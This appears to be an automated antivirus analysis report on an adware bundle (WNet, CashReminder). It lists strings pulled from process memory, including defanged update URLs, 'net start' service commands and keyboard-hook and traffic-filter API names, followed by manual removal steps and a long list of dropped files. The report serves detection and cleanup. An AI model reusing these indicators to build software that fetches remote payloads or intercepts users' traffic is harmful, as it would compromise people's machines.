unexpected OperandType

iexplore.exe_1228:

%?9-*09,*19}*09

.text

`.data

.rsrc

msvcrt.dll

KERNEL32.dll

NTDLL.DLL

USER32.dll

SHLWAPI.dll

SHDOCVW.dll

Software\Microsoft\Windows\CurrentVersion\Explorer\BrowseNewProcess

IE-X-X

rsabase.dll

System\CurrentControlSet\Control\Windows

dw15 -x -s %u

watson.microsoft.com

IEWatsonURL

%s -h %u

iedw.exe

Iexplore.XPExceptionFilter

jscript.DLL

mshtml.dll

mlang.dll

urlmon.dll

wininet.dll

shdocvw.DLL

browseui.DLL

comctl32.DLL

IEXPLORE.EXE

iexplore.pdb

ADVAPI32.dll

MsgWaitForMultipleObjects

IExplorer.EXE

IIIIIB(II<.Fg

7?_____ZZSSH%

)z.UUUUUUUU

,....Qym

````2```

{.QLQIIIKGKGKGKGKGKG

;33;33;0

8888880

8887080

browseui.dll

shdocvw.dll

6.00.2900.5512 (xpsp.080413-2105)

Windows

Operating System

6.00.2900.5512

dlmgn.exe_380_rwx_003C0000_0001C000:

S.HW#r'

WNet.exe_2216:

.idata

.rdata

P.reloc

P.rsrc

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

uxtheme.dll

%s%s%s%s%s%s%s%s%s%s

Proportional

MAPI32.DLL

TURLAction

HelpKeywordp

TURLDownloadStatus

dsBeginSyncOperation

dsEndSyncOperation

dsFilterReportMIMEType

TDownLoadURL

URLMON.DLL

URLDownloadToFileA

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeywordT

crSQLWait

%s (%s)

imm32.dll

AutoHotkeys

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

Password

OnExecutepWE

127.0.0.1

255.0.0.0

ServiceExecute

\P_CheckUpdate.txt

NOVA UPDATE DISPONIVEL! URL:

\po_update.exe

hXXp://VVV.brsoftwarellc.com/services/rules.txt?dummy=

hXXp://VVV.brsoftwarellc.com/services/update.php?v=

&key=

\P_RuleList.txt

[E] ProductKey :

[N] ProductKey :

cmd.exe /c net start WNet

cmd.exe /c net stop WNet

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

ReportEventA

RegFlushKey

RegCreateKeyExA

WinExec

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

wsock32.dll

nfapi.dll

nf_tcpDisableFiltering

nf_setTCPTimeout

nf_tcpClose

nf_tcpPostReceive

nf_tcpPostSend

nf_tcpSetConnectionState

psapi.dll

ProtocolFilters.dll

5l6O6W6

< <$<(<,<0<4<8<<<

?!?%?)?-?1?5?9?=?

5%6x6

1 1$1(1,1014181

0&0.080=0

2%3)3-31383

; ;$;(;,;0;4;8;

1#1'1 1/13171;1

=!=,=7=?=_=

5 5$5(5,505

3 3$3(3,3

3 3$3(3,3034383<3@3

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

I<.oS8"

KWindows

UrlMon

OnExecute

No help keyword specified.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

shutdown(Service failed in custom message(%d): %s

Service installed successfully/Service "%s" failed to install with error: "%s" Service uninstalled successfully1Service "%s" failed to uninstall with error: "%s"

Error downloading URL: %s

Unable to load %s"Unable to find a Table of Contents

Alt  Clipboard does not support Icons

Cannot open clipboard/Menu '%s' is already being used by another form

Service failed on %s: %s

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Error reading %s%s%s: %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

dlmgn.exe_380_rwx_03A70000_0000A000:

$.Av^

CashReminder.exe_2364:

.idata

.rdata

P.reloc

P.rsrc

kernel32.dll

Windows

MSWHEEL_ROLLMSG

MSH_WHEELSUPPORT_MSG

MSH_SCROLL_LINES_MSG

$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)

oleaut32.dll

EVariantBadIndexError

ssShift

htKeyword

EInvalidOperation

u%CNu

%s[%d]

%s_%d

EInvalidGraphicOperation

USER32.DLL

comctl32.dll

uxtheme.dll

%s%s%s%s%s%s%s%s%s%s

Proportional

MAPI32.DLL

TURLAction

HelpKeywordp

TURLDownloadStatus

dsBeginSyncOperation

dsEndSyncOperation

dsFilterReportMIMEType

TDownLoadURL

URLMON.DLL

URLDownloadToFileA

OnKeyDown

OnKeyPress

OnKeyUp

IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")

JumpID("","%s")

TKeyEvent

TKeyPressEvent

HelpKeywordT

crSQLWait

%s (%s)

imm32.dll

AutoHotkeys

ssHotTrack

TWindowState

poProportional

TWMKey

KeyPreview

WindowState

System\CurrentControlSet\Control\Keyboard Layouts\%.8x

vcltest3.dll

User32.dll

Password

OnExecutepWE

content-security-policy-report-only

127.0.0.1

255.0.0.0

ServiceExecute

\P_StoreList.txt

\P_CheckUpdate.txt

\cr_update.exe

hXXp://VVV.related.deals/services/rules?dummy=

hXXp://VVV.related.deals/services/stores?dummy=

hXXp://VVV.related.deals/services/update/

\P_RuleList.txt

[N] ProductKey :

cmd.exe /c net start CashReminder

cmd.exe /c net stop CashReminder

user32.dll

GetKeyboardType

advapi32.dll

RegOpenKeyExA

RegCloseKey

ReportEventA

RegFlushKey

RegCreateKeyExA

WinExec

GetCPInfo

version.dll

gdi32.dll

SetViewportOrgEx

UnhookWindowsHookEx

SetWindowsHookExA

MsgWaitForMultipleObjects

MapVirtualKeyA

LoadKeyboardLayoutA

GetKeyboardState

GetKeyboardLayoutList

GetKeyboardLayout

GetKeyState

GetKeyNameTextA

EnumWindows

EnumThreadWindows

ActivateKeyboardLayout

wsock32.dll

nfapi.dll

nf_tcpDisableFiltering

nf_setTCPTimeout

nf_tcpClose

nf_tcpPostReceive

nf_tcpPostSend

nf_tcpSetConnectionState

psapi.dll

ProtocolFilters.dll

5l6O6W6

< <$<(<,<0<4<8<<<

?!?%?)?-?1?5?9?=?

5%6x6

1 1$1(1,1014181

0&0.080=0

2%3)3-31383

; ;$;(;,;0;4;8;

1#1'1 1/13171;1

=!=,=7=?=_=

5 5$5(5,505

3 3$3(3,3

3 3$3(3,3034383<3@3

333333333333333333

33333833

3333339

3333333333333338

:*"*"$3338

3333333

33333333

33333333333

3333333333338

33338?383

333333333333

:*3:"$3338

333333333333333

KWindows

UrlMon

OnExecute

No help keyword specified.

No help found for %s#No context-sensitive help installed$No topic-based help system installed

shutdown(Service failed in custom message(%d): %s

Service installed successfully/Service "%s" failed to install with error: "%s" Service uninstalled successfully1Service "%s" failed to uninstall with error: "%s"

Error downloading URL: %s

Unable to load %s"Unable to find a Table of Contents

Alt  Clipboard does not support Icons

Cannot open clipboard/Menu '%s' is already being used by another form

Service failed on %s: %s

Unsupported clipboard format

Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window

Error reading %s%s%s: %s

Failed to get data for '%s'

Failed to set data for '%s'

Resource %s not found

%s.Seek not implemented$Operation not allowed on sorted list$%s not in a class registration group

Property %s does not exist

Thread creation error: %s

Thread Error: %s (%d)

Class %s not found

A class named %s already exists%List does not allow duplicates ($0%x)#A component named %s already exists%String list does not allow duplicates

Cannot create file "%s". %s

Cannot open file "%s". %s

Invalid stream format$''%s'' is not a valid component name

Invalid data type for '%s' List capacity out of bounds (%d)

List count out of bounds (%d)

List index out of bounds (%d)

Ancestor for '%s' not found

Cannot assign a %s to a %s

Bits index out of range*Can't write to a read-only resource streamECheckSynchronize called from thread $%x, which is NOT the main thread

%s (%s, line %d)

Abstract Error?Access violation at address %p in module '%s'. %s of address %p

System Error. Code: %d.

Invalid variant operation%Invalid variant operation (%s%.8x)

%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)

Operation not supported

External exception %x

Interface not supported

Invalid pointer operation

Invalid class typecast0Access violation at address %p. %s of address %p

Privileged instruction(Exception %s in module %s at %p.

Application Error1Format '%s' invalid or incompatible with argument

No argument for format '%s'"Variant method calls not supported

!'%s' is not a valid integer value

I/O error %d

Integer overflow Invalid floating point operation

dlmgn.exe_380_rwx_675A6000_00003000:

.Qg<-Qg

*Rg`.Rg|)RgL Rg

dlmgn.exe_380_rwx_6D739000_00001000:

/hmh.hm

.hmh/hm0.hmH/hm

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):
   

   aUAekFiG9xfybmhwsn4W6nWSok_mb_1.exe:220
   aUAekFiG9xfybmhwsn4W6nWSok_cr.exe:816
   taskkill.exe:516
   net1.exe:2192
   net1.exe:2356
   %original file name%.exe:1676
   nfregdrv.exe:188
   net.exe:2176
   net.exe:2348
   desprotetor_stp_2.exe:3588
   aUAekFiG9xfybmhwsn4W6nWSok_sol.exe:1056
   aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok_br.exe:228
   WNet.exe:2096
   CashReminder.exe:2300
   

2. Delete the original Installer file.
   
3. Delete or disinfect the following files created/modified by the Installer:
   

   %Documents and Settings%\%current user%\Local Settings\Temp\in5408A573\671D332B_stp.EXE.part (261 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\progress-bg-corner.png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\EN.locale (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Pause_Button.png (577 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Button.png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\sponsored.png (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\main.css (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\csshover3.htc (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\IT.locale (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\ProgressBar.png (812 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Resume_Button.png (718 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\progress-bg2.png (978 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\000CC4AD.log (16 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\progress-bar.css (506 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Quick_Specs.png (221 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\progress-bg.png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Loader.gif (10 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\images\button-bg.png (131 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\browse.css (337 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\checkbox.css (190 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Icon_Generic.png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\ES.locale (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\BG.png (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\PT.locale (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Progress.png (104 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Button_Hover.png (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Close.png (207 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\FR.locale (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\form.bmp.Mask (244 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\locale\DE.locale (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\bootstrap_49030.html (156 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\sdk-ui\button.css (417 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\000CC3D2.log (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\ironsrc_prot[1].png (556 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\images\Close_Hover.png (207 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\inH8365784523\css\ie6_main.css (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr5.tmp (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\mobi[1].js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\f[2].js (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\s9[1].gif (43 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\mobi2[2].js (4545 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\mobi2[1].js (3222 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\top-line[1].gif (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\f[1].js (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\carregando[1].gif (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\verificar_ip[1].htm (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\icone_cadeado[1].gif (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\010914i[1].htm (787 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\010914i[1].htm (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\extreme[1].htm (86 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\verificar_ip[1].php (24 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsr6.tmp\nsWeb.dll (8 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\mobi[2].js (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsmE.tmp\desprotetor_stp_2.exe (32 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\app.min[1].css (1417 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\2BF68F4714092295550497DD56F57004 (18 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\31294006CE0E30E9018936BD13494DF8 (172 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Tar14.tmp (2712 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\C8E7EC0C85688F4738F3BE49B104BA67 (172 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015 (50 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Cab11.tmp (54 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\CabF.tmp (54 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\2BF68F4714092295550497DD56F57004 (408 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015 (408 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\MetaData\8A9510437CB4EEB09F4B3AC2BC980E19 (216 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\ender.min[1].js (10222 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\en[1].htm (834 bytes)
   %System%\wbem\Logs\wbemprox.log (150 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\app.min[1].js (21777 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\script[1].js (10273 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\applicationIE6-app.min[1].css (457 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\video-icon[1].png (5347 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\8A9510437CB4EEB09F4B3AC2BC980E19 (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\iconos-ie6[1].jpg (6 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\C8E7EC0C85688F4738F3BE49B104BA67 (649 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Tar12.tmp (2712 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\box[1].jpg (7 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Tar10.tmp (2712 bytes)
   %Documents and Settings%\%current user%\Application Data\Microsoft\CryptnetUrlCache\Content\31294006CE0E30E9018936BD13494DF8 (1 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Cab13.tmp (50 bytes)
   %Program Files%\CashReminder\ssleay32.dll (12536 bytes)
   %Program Files%\CashReminder\nfapi.dll (4992 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\SimpleSC.dll (1856 bytes)
   %Program Files%\CashReminder\remove.exe (593 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsgB.tmp (81038 bytes)
   %Program Files%\CashReminder\nfregdrv.exe (1552 bytes)
   %Program Files%\CashReminder\libeay32.dll (41192 bytes)
   %System%\drivers\crfilterdrv.sys (57 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsrC.tmp\SelfDel.dll (5 bytes)
   %Program Files%\CashReminder\CashReminder.exe (15536 bytes)
   %Program Files%\CashReminder\crfilterdrv.sys (1856 bytes)
   %Program Files%\CashReminder\ProtocolFilters.dll (12536 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_cr.exe (67427 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\310714_is[1] (52816 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nse3.tmp\inetc.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQISTQM\solimba[1] (14776 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\280815_cr[1] (67427 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_mb_1.exe (3656 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsj2.tmp (26 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\310714_br[1].exe (88107 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_is.exe (52816 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok_br.exe (88107 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\310714_mb[1] (3656 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\Temp\OaUAekFiG9xfybmhwsn4W6nWSokaUAekFiG9xfybmhwsn4W6nWSok\aUAekFiG9xfybmhwsn4W6nWSok_sol.exe (14776 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nss16.tmp (4 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsmE.tmp\dlmgn.exe.config (291 bytes)
   %Program Files%\WNet\nfregdrv.exe (1552 bytes)
   %Program Files%\WNet\WNet.exe (15168 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\SelfDel.dll (5 bytes)
   %Program Files%\WNet\uninst.exe (2353 bytes)
   %Program Files%\WNet\ProtocolFilters.dll (12536 bytes)
   %Program Files%\WNet\ssfilterdrv.sys (1856 bytes)
   %System%\drivers\ssfilterdrv.sys (57 bytes)
   %Program Files%\WNet\ssleay32.dll (12536 bytes)
   %Program Files%\WNet\nfapi.dll (4992 bytes)
   %Program Files%\WNet\libeay32.dll (41192 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsm8.tmp (52768 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\SimpleSC.dll (1856 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsn9.tmp\System.dll (11 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\QLSNQ10Z\rules[1].txt (267 bytes)
   %WinDir%\Temp\P_RuleList.txt (267 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\812Z098J\rules[1].txt (314 bytes)
   %Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\OFK7QZUX\stores[1].htm (784 bytes)
   %WinDir%\Temp\P_StoreList.txt (784 bytes)
   

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.